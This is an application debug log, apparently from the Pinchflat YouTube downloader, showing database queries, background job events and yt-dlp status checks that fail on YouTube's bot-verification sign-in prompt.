idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:20.944 [debug] QUERY OK source="settings" db=0.4ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:20.944 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=uK1tHgdiOFc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/48/88/488897f23e95cea0cba64e8ce1033a3723eb34398498b0e71e4c2e0842cdf338.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:22.564 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=a1i4v5f50kQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/28/74/28748f512148f4cccdd7a06f074ba13f6bd6f0affdd1d3d72eefbd7abb339c65.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] a1i4v5f50kQ: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:22.565 [error] yt-dlp download error for media item #11: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] a1i4v5f50kQ: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:22.565 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] a1i4v5f50kQ: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:22.566 [info] {"args":{"id":11},"id":209,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1735438,"event":"job:stop","attempt":1,"queue_time":9829109,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:22.568 [debug] QUERY OK source="tasks" db=1.4ms idle=1624.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:22.569 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1625.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12] 20:31:22.572 [info] {"args":{"id":13},"id":211,"meta":{},"system_time":1774150282572837653,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:22.573 [debug] QUERY OK source="tasks" db=0.3ms idle=6.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:22.574 [debug] QUERY OK source="media_items" db=0.7ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [12, 13] 20:31:22.575 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=769.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13] 20:31:22.576 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:22.577 [debug] QUERY OK source="sources" db=0.6ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:22.577 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:22.578 [debug] QUERY OK source="media_items" db=0.7ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13] 20:31:22.579 [debug] QUERY OK source="media_metadata" db=0.2ms idle=4.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13] 20:31:22.580 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:22.580 [debug] QUERY OK source="settings" db=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:22.580 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:22.581 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:22.582 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:22.582 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:22.582 [debug] QUERY OK source="settings" db=0.3ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:22.582 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=uBvZKyr_MOw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/11/83/1183bab83a34e3fc6e14e6af7b1a2466100dfe819037e11f5652356206b7698b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:22.905 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=uK1tHgdiOFc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/48/88/488897f23e95cea0cba64e8ce1033a3723eb34398498b0e71e4c2e0842cdf338.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] uK1tHgdiOFc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:22.905 [error] yt-dlp download error for media item #12: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] uK1tHgdiOFc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:22.905 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] uK1tHgdiOFc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:22.907 [info] {"args":{"id":12},"id":210,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1978625,"event":"job:stop","attempt":1,"queue_time":9926109,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:22.908 [debug] QUERY OK source="tasks" db=0.6ms queue=0.6ms idle=325.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:22.909 [debug] QUERY OK source="media_items" db=0.4ms queue=0.4ms idle=326.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13] 20:31:22.914 [info] {"args":{"id":14},"id":212,"meta":{},"system_time":1774150282914143250,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:22.915 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=107.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14] 20:31:22.916 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:22.915 [debug] QUERY OK source="tasks" db=1.2ms idle=7.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:22.918 [debug] QUERY OK source="sources" db=1.1ms queue=0.7ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:22.918 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:22.920 [debug] QUERY OK source="media_items" db=2.5ms idle=8.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [13, 14] 20:31:22.924 [debug] QUERY OK source="media_items" db=4.6ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14] 20:31:22.926 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.4ms idle=9.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14] 20:31:22.927 [debug] QUERY OK source="media_profiles" db=0.9ms idle=8.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:22.928 [debug] QUERY OK source="settings" db=0.7ms idle=8.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:22.932 [debug] QUERY OK source="settings" db=3.4ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:22.933 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:22.935 [debug] QUERY OK source="settings" db=0.2ms idle=11.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:22.936 [debug] QUERY OK source="settings" db=1.0ms idle=9.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:22.937 [debug] QUERY OK source="settings" db=1.3ms idle=9.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:22.938 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-RmE8zBhrR0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1d/f3/1df3d411bb9333e528a37d4c44463e3c711d7471c80974612784c1ba2878b134.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:24.442 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=uBvZKyr_MOw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/11/83/1183bab83a34e3fc6e14e6af7b1a2466100dfe819037e11f5652356206b7698b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] uBvZKyr_MOw: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:24.442 [error] yt-dlp download error for media item #13: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] uBvZKyr_MOw: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:24.442 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] uBvZKyr_MOw: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:24.443 [info] {"args":{"id":13},"id":211,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1869930,"event":"job:stop","attempt":1,"queue_time":11572136,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:24.444 [debug] QUERY OK source="tasks" db=0.4ms idle=1508.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:24.445 [debug] QUERY OK source="media_items" db=0.1ms idle=1508.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14] 20:31:24.451 [info] {"args":{"id":15},"id":213,"meta":{},"system_time":1774150284451117986,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:24.452 [debug] QUERY OK source="media_items" db=0.6ms idle=641.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [15] 20:31:24.452 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:24.452 [debug] QUERY OK source="tasks" db=0.4ms queue=0.5ms idle=7.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" 